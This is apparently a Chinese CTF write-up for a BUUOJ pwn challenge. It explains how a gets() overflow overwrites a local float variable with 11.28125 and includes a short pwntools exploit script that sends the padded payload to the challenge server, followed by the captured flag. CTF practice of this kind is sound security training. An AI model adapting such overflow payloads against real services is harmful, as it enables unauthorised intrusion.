先放出 pwn 的 checksec
64 位且栈堆不可执行
IDA 打开
gets 是可以溢出的,但没必要;这一题我们只要覆盖到 v2, 然后让 v2==11.28125 就可以了.
因此 gets 时先覆盖 b'a'*(0x30-0x04) 即可到 v2 的部分,再跟上 11.28125 的十六进制数即可成功获取 flag.
通过在线转换我们获得 16 进制的浮点数.
让我们开始 payload 吧.
构造 exp 如下
from pwn import * | |
h=remote("node3.buuoj.cn",28466) | |
payload=b'A'*(0x30-4)+p64(0x41348000) | |
h.sendline(payload) | |
h.interactive() |
最后执行得到 flag
flag{3220e461-4bf7-4910-8abc-19873d83291c}
贴一个在线进制转换
CLICK ME